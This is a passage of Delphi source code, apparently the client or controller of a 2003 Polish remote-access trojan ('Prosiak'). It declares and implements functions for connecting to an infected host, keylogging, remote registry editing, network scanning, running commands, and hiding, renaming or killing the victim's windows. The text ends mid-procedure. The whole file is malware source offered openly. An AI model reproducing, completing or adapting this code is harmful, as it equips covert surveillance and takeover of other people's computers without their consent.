main.pas

2003年的远程控制

    procedure Windowsdirectory1Click(Sender: TObject);
    procedure Systemdirectory1Click(Sender: TObject);
    procedure Pulpit1Click(Sender: TObject);
    procedure ProgramFiles1Click(Sender: TObject);
    procedure MenuStart1Click(Sender: TObject);
    procedure MojeDokumenty1Click(Sender: TObject);
    procedure SpeedButton35Click(Sender: TObject);
    procedure SpeedButton36Click(Sender: TObject);
    procedure SpeedButton37Click(Sender: TObject);
    procedure SpeedButton40Click(Sender: TObject);
    procedure SpeedButton39Click(Sender: TObject);
    procedure scanbuttClick(Sender: TObject);
    procedure httpConnect(Sender: TObject; Socket: TCustomWinSocket);
    procedure httpRead(Sender: TObject; Socket: TCustomWinSocket);
    procedure ThreadDone(Sender: TObject);
    procedure SpeedButton38Click(Sender: TObject);
    procedure SpeedButton42Click(Sender: TObject);
    procedure SpeedButton41Click(Sender: TObject);
    procedure SpeedButton43Click(Sender: TObject);
    procedure SpeedButton44Click(Sender: TObject);
    procedure SpeedButton45Click(Sender: TObject);
    procedure random1Change(Sender: TObject);
    procedure SpeedButton52Click(Sender: TObject);
    procedure SpeedButton53Click(Sender: TObject);
    procedure SpeedButton54Click(Sender: TObject);
    procedure SpeedButton56Click(Sender: TObject);
    procedure SpeedButton46Click(Sender: TObject);
    procedure SpeedButton47Click(Sender: TObject);
    procedure SpeedButton48Click(Sender: TObject);
    procedure SpeedButton49Click(Sender: TObject);
    procedure SpeedButton50Click(Sender: TObject);
    procedure SpeedButton51Click(Sender: TObject);
    procedure SpeedButton55Click(Sender: TObject);
    procedure SpeedButton59Click(Sender: TObject);
    procedure SpeedButton57Click(Sender: TObject);
    procedure SpeedButton58Click(Sender: TObject);
    procedure scansockError(Sender: TObject; Socket: TCustomWinSocket;
      ErrorEvent: TErrorEvent; var ErrorCode: Integer);
    procedure scansockRead(Sender: TObject; Socket: TCustomWinSocket);
    procedure scansockDisconnect(Sender: TObject;
      Socket: TCustomWinSocket);
    procedure scansockWrite(Sender: TObject; Socket: TCustomWinSocket);
    procedure pingbuttClick(Sender: TObject);
    procedure SpeedButton61Click(Sender: TObject);
    procedure SpeedButton60Click(Sender: TObject);
    procedure SpeedButton62Click(Sender: TObject);
    procedure SpeedButton65Click(Sender: TObject);
    procedure httpError(Sender: TObject; Socket: TCustomWinSocket;
      ErrorEvent: TErrorEvent; var ErrorCode: Integer);
    procedure httpDisconnect(Sender: TObject; Socket: TCustomWinSocket);
    procedure BitBtn2Click(Sender: TObject);
    procedure BitBtn1Click(Sender: TObject);
    procedure SpeedButton67Click(Sender: TObject);
    procedure SpeedButton69Click(Sender: TObject);
    procedure SpeedButton70Click(Sender: TObject);
    procedure SpeedButton71Click(Sender: TObject);
    procedure SpeedButton72Click(Sender: TObject);
    procedure SpeedButton73Click(Sender: TObject);
    procedure SpeedButton68Click(Sender: TObject);
    procedure i_syslogClick(Sender: TObject);
    procedure i_keylogClick(Sender: TObject);
    procedure SpeedButton74Click(Sender: TObject);
    procedure i_autosyslogClick(Sender: TObject);
    procedure i_autokeylogClick(Sender: TObject);
    procedure i_httpdClick(Sender: TObject);
    procedure i_httpdautoClick(Sender: TObject);
    procedure SpeedButton24Click(Sender: TObject);
    procedure SpeedButton63Click(Sender: TObject);
    procedure SpeedButton64Click(Sender: TObject);
    procedure i_proxyClick(Sender: TObject);
    procedure Button9Click(Sender: TObject);
    procedure SpeedButton75Click(Sender: TObject);
    procedure SpeedButton76Click(Sender: TObject);
    procedure MonitoronClick(Sender: TObject);
    procedure SpeedButton17Click(Sender: TObject);
    procedure SpeedButton18Click(Sender: TObject);
    procedure SpeedButton77Click(Sender: TObject);
    procedure SpeedButton78Click(Sender: TObject);
    procedure SpeedButton79Click(Sender: TObject);
    procedure keylockClick(Sender: TObject);
    procedure i_telnetClick(Sender: TObject);
    procedure SpeedButton80Click(Sender: TObject);
    procedure SpeedButton66Click(Sender: TObject);
    procedure netlistSelectCell(Sender: TObject; ACol, ARow: Integer;
      var CanSelect: Boolean);
    procedure SpeedButton81Click(Sender: TObject);
    procedure SpeedButton82Click(Sender: TObject);
    procedure SpeedButton83Click(Sender: TObject);
    procedure WallpaperBMP1Click(Sender: TObject);
    procedure ShowJPEGJPG1Click(Sender: TObject);
    procedure PlaysoundWAV1Click(Sender: TObject);
    procedure PlayloopWAV1Click(Sender: TObject);
    procedure SoundStop1Click(Sender: TObject);
    procedure setdeflang(Sender: TObject);
    procedure SpeedButton87Click(Sender: TObject);
    procedure SpeedButton88Click(Sender: TObject);
    procedure SpeedButton89Click(Sender: TObject);
    procedure SpeedButton90Click(Sender: TObject);
    procedure SpeedButton92Click(Sender: TObject);
    procedure SpeedButton91Click(Sender: TObject);
    procedure SpeedButton84Click(Sender: TObject);
    procedure SpeedButton85Click(Sender: TObject);
    procedure filterChange(Sender: TObject);
    procedure SpeedButton86Click(Sender: TObject);
    procedure RegListClick(Sender: TObject);
    procedure Getroot1Click(Sender: TObject);
    procedure Up1Click(Sender: TObject);
    procedure N1Click(Sender: TObject);
    procedure Reg_goto1Click(Sender: TObject);
    procedure ValListSelectCell(Sender: TObject; ACol, ARow: Integer;
      var CanSelect: Boolean);
    procedure AddValue1Click(Sender: TObject);
    procedure DeleteValue1Click(Sender: TObject);
    procedure Updateremoteregistry1Click(Sender: TObject);
    procedure Refresh1Click(Sender: TObject);
    procedure SpeedButton29Click(Sender: TObject);
    procedure SpeedButton30Click(Sender: TObject);
    procedure SpeedButton32Click(Sender: TObject);
    procedure SpeedButton31Click(Sender: TObject);
    procedure mousetimerTimer(Sender: TObject);
    procedure i_myszaClick(Sender: TObject);
  private
    { Private declarations }
  public
    { Public declarations }
    procedure KlientClose;
    procedure KlientKonnect;
    procedure skanuj;
    procedure sprawdz;
    procedure Httpd_close;
    procedure Httpd_request;
    procedure WCkaczka;
    procedure setdefaults;
    procedure Reg_goto(key:string);
    procedure Reg_gotoRoot;
    procedure Reg_goUp;
  end;

var  Form1: TPCli6;
     scan_name,scan_host,scan_online,scan_version:string;
     scan_done:boolean;
     scan_ping,ping_count:longint;
     abortscan:boolean;
     scanning:boolean;
     sysdir,windir:string;
     multifilelist:TStringList;
     mfile:integer;
     conf:Tstringlist;
     tt:record
        conn,discon,nieznany:string;
        end;
     scan_timeout,ping_timeout:integer;
     Reg_value:integer;

implementation

uses toolsy,lang,inifiles;

{$R *.DFM}

procedure dir_init;
var winsys:Pchar;
begin
winsys:=StrAlloc(MAX_PATH+1);
GetSystemDirectory(winsys,MAX_PATH);
sysdir:=Strupper(winsys);
GetWindowsDirectory(winsys,MAX_PATH);
windir:=Strupper(winsys);
StrDispose(winsys);
end;

procedure TPCli6.WCKaczka;
begin
prover.caption:=BD;
uname.caption:=BD;
hname.caption:=BD;
online.caption:=BD;
remoteip.caption:=BD;
ident.caption:=BD;
winver.caption:=BD;
label32.caption:=BD;
label30.caption:=BD;
ping.caption:=BD;
end;


procedure TPCli6.KlientClose;
begin
conn:=false;
hostname.enabled:=true;
klient.close;
klient.active:=false;
button1.caption:=tt.conn;
xlog('Disconnected');
form1.caption:=progname+' '+disconn;
prover.caption:=tt.nieznany;
WCKaczka;
end;

procedure TPCli6.KlientKonnect;
begin
if hostname.text='' then exit;
hostname.enabled:=false;
if hostname.Text[1] in ['0'..'9'] then
 klient.address:=hostname.Text else
 klient.host:=hostname.text;
klient.port:=strtointdef(portnr.text,44444);
klient.active:=true;
conn:=true;
Button1.caption:=tt.discon;
form1.caption:=progname+' ['+hostname.text+']';
end;

procedure TPCli6.Button1Click(Sender: TObject);
begin
if conn then klientClose else klientKonnect;
if hostname.items.IndexOf(hostname.text)=-1 then
 hostname.Items.Add(hostname.text);
end;

procedure TPCli6.klientConnect(Sender: TObject;
  Socket: TCustomWinSocket);
begin
xlog('Connected');
trwaobsluga:=false;
socket.SendText('#GUI#');
end;

procedure TPCli6.klientRead(Sender: TObject; Socket: TCustomWinSocket);
var tmp,text:string;
    numer:integer;
begin
application.processmessages;
text:=socket.receivetext;
repeat
if pos(#13#10,text)=0 then
 tmp:=text else begin
                tmp:=copy(text,1,pos(#13#10,text)-1);
                text:=copy(text,pos(#13#10,text)+2,1000);
                end;
if debug.checked then
 if length(tmp)<40 then xlog('-'+tmp);
numer:=strtointdef(copy(tmp,1,3),0);
tmp:=copy(tmp,5,1000);
if numer<>0 then begin
                 trwaobsluga:=true;
                 info(numer,tmp);
                 trwaobsluga:=false;
                 end;
until pos(#13#10,text)=0;
end;

procedure TPCli6.klientError(Sender: TObject; Socket: TCustomWinSocket;
  ErrorEvent: TErrorEvent; var ErrorCode: Integer);
begin
case ErrorCode of
 10061:xlog('Server not found');
 else xlog('Error '+inttostr(errorcode));
 end;
ErrorCode:=0;
if conn then KlientClose;
end;

procedure TPCli6.klientConnecting(Sender: TObject;
  Socket: TCustomWinSocket);
begin
xlog('Connecting');
end;

procedure TPCli6.Edit1KeyPress(Sender: TObject; var Key: Char);
begin
if key=#13 then
 begin
 if edit1.text<>'' then
 klient.socket.sendtext(edit1.text+nl)
 else klient.socket.sendtext('NOP'+nl);
 edit1.text:='';
 end;
end;

procedure TPcli6.setdefaults;
begin
hostname.text:=conf.values['def_host'];
portnr.text:=conf.values['def_port'];
pass.text:=conf.values['def_password'];
net_.text:=conf.values['scanner_net'];
from_.text:=conf.values['scanner_from'];
to_.text:=conf.values['scanner_to'];
netport.text:=conf.values['scanner_port'];
newdir.text:=conf.Values['def_newdir'];
wwwadr.items.commatext:=conf.values['jokes_www'];
emailsender.text:=conf.values['jokes_email'];
emailsubject.text:=conf.values['jokes_subject'];
doscomm.text:=conf.values['jokes_run'];
cliptext.text:=conf.values['jokes_cliptext'];
mesg_title.text:=conf.Values['msg_title'];
mesg_text.text:=conf.values['msg_text'];
i_nadawca.text:=conf.values['email_from'];
i_adresat.text:=conf.values['email_to'];
i_temat.text:=conf.values['email_subject'];
setname.text:=conf.values['host_name'];
speedbutton34.caption:=conf.values['lang0_button'];
speedbutton34.hint:='Built-in English';
speedbutton87.caption:=conf.values['lang1_button'];
speedbutton87.hint:=conf.values['lang1_file'];
speedbutton88.caption:=conf.values['lang2_button'];
speedbutton88.hint:=conf.values['lang2_file'];
scan_timeout:=strtointdef(conf.values['scan_timeout'],1000);
ping_timeout:=strtointdef(conf.values['ping_timeout'],1000);
i_clip1.text:=conf.values['mouse_lock1'];
i_clip2.text:=conf.values['mouse_lock2'];
i_syskey.checked:=t_zerojeden(conf.values['show_syskey']);
i_apptitle.checked:=t_zerojeden(conf.values['show_apps']);
jpeg_quality.position:=strtointdef(conf.values['jpeg_quality'],60);
i_slidetime.text:=conf.values['slideshow_time'];
reg_goto1.caption:=conf.values['reg_goto1'];
reg_goto2.caption:=conf.values['reg_goto2'];
reg_goto3.caption:=conf.values['reg_goto3'];
reg_goto4.caption:=conf.values['reg_goto4'];
end;

procedure TPCli6.FormCreate(Sender: TObject);
var i:integer;
    ini:Tmeminifile;
    tmp:string;
begin
conf:=Tstringlist.create;
ini:=Tmeminifile.Create(ExtractFilePath(paramstr(0))+'prosiak.ini');
ini.ReadSectionValues('Config',conf);
if ini.SectionExists('Config') then setdefaults;
ini.free;
netlist.Rows[0].CommaText:=defheader;
tmp:=uppercase(conf.values['lang']);
setfromfile(tmp);
WCKaczka;
multifilelist:=TStringList.create;
dir_init;
conn:=false;
window:=Tlist.create;
child:=Tlist.Create;
form1.caption:=progname+' '+disconn;
localdir.caption:=directorylistbox1.Directory;
image1.Picture.Icon:=application.icon;
proginfo.caption:=progname;
label18.caption:=progauth;
memo2.clear;
for i:=1 to opis_lines do memo2.lines.add(opis[i]);
end;

procedure TPCli6.klientDisconnect(Sender: TObject;
  Socket: TCustomWinSocket);
begin
if conn then KlientClose;
end;


procedure TPCli6.Button6Click(Sender: TObject);
begin
RefreshWindowList(0);
end;

procedure TPCli6.WinListClick(Sender: TObject);
begin
selwin:=Pwin(window.Items[winlist.itemindex]);
wintitle.text:=selwin.title;
end;

procedure TPCli6.Button7Click(Sender: TObject);
begin
if selwin=nil then exit;
Send('WRENAME',inttostr(selwin.handle),wintitle.text);
selwin.title:=wintitle.text;
ListRefresh;
end;

procedure TPCli6.Button18Click(Sender: TObject);
begin
if selwin=nil then exit;
Send('WSKURCZ',inttostr(selwin.handle),'');
end;

procedure TPCli6.Button8Click(Sender: TObject);
begin
if selwin=nil then exit;
Send('WQUAKE',inttostr(selwin.handle),'');
end;

procedure TPCli6.Button10Click(Sender: TObject);
begin
if selwin=nil then exit;
Send('WSHOW',inttostr(selwin.handle),'');
selwin.visible:=true;
ListRefresh;
end;

procedure TPCli6.Whideclick(Sender: TObject);
begin
if selwin=nil then exit;
if selwin.visible then
 begin
 Send('WHIDE',inttostr(selwin.handle),'');
 selwin.visible:=false;
 Showwin.caption:='Show';
 end else
 begin
 Send('WSHOW',inttostr(selwin.handle),'');
 selwin.visible:=true;
 Showwin.caption:='Hide';
 end;
ListRefresh;
end;

procedure TPCli6.Button12Click(Sender: TObject);
begin
if selwin=nil then exit;
Send('WPOS',inttostr(selwin.handle),inttostr(SW_MINIMIZE));
selwin.minimize:=true;
selwin.maximize:=false;
selwin.visible:=true;
ListRefresh;
end;

procedure TPCli6.Button13Click(Sender: TObject);
begin
if selwin=nil then exit;
send('WPOS',inttostr(selwin.handle),inttostr(SW_MAXIMIZE));
selwin.minimize:=false;
selwin.maximize:=true;
selwin.visible:=true;
ListRefresh;
end;

procedure TPCli6.Button14Click(Sender: TObject);
begin
if selwin=nil then exit;
send('WQUIT',inttostr(selwin.handle),'');
selwin.closed:=true;
ListRefresh;
end;

procedure TPCli6.Button15Click(Sender: TObject);
begin
if selwin=nil then exit;
send('WFLASH',inttostr(selwin.handle),'');
end;

procedure TPCli6.Button16Click(Sender: TObject);
begin
if selwin=nil then exit;
send('WINVERT',inttostr(selwin.handle),'');
end;

procedure TPCli6.ButtonChildList(Sender: TObject);
begin
if selwin=nil then exit;
RefreshChildList(selwin.handle,0);
end;

procedure TPCli6.ChildListClick(Sender: TObject);
begin
selchild:=Pwin(child.Items[childlist.itemindex]);
childtitle.text:=selchild.title;
if selchild.visible then
 showchild.caption:='Hide' else
 showchild.caption:='Show';
end;

procedure TPCli6.ChRenameClick(Sender: TObject);
begin
if selchild=nil then exit;
Send('WRENAME',inttostr(selchild.handle),childtitle.text);
selchild.title:=childtitle.text;
ListRefresh2;
end;

procedure TPCli6.ShowChildClick(Sender: TObject);
begin
if selchild=nil then exit;
if selchild.visible then
 begin
 Send('WHIDE',inttostr(selchild.handle),'');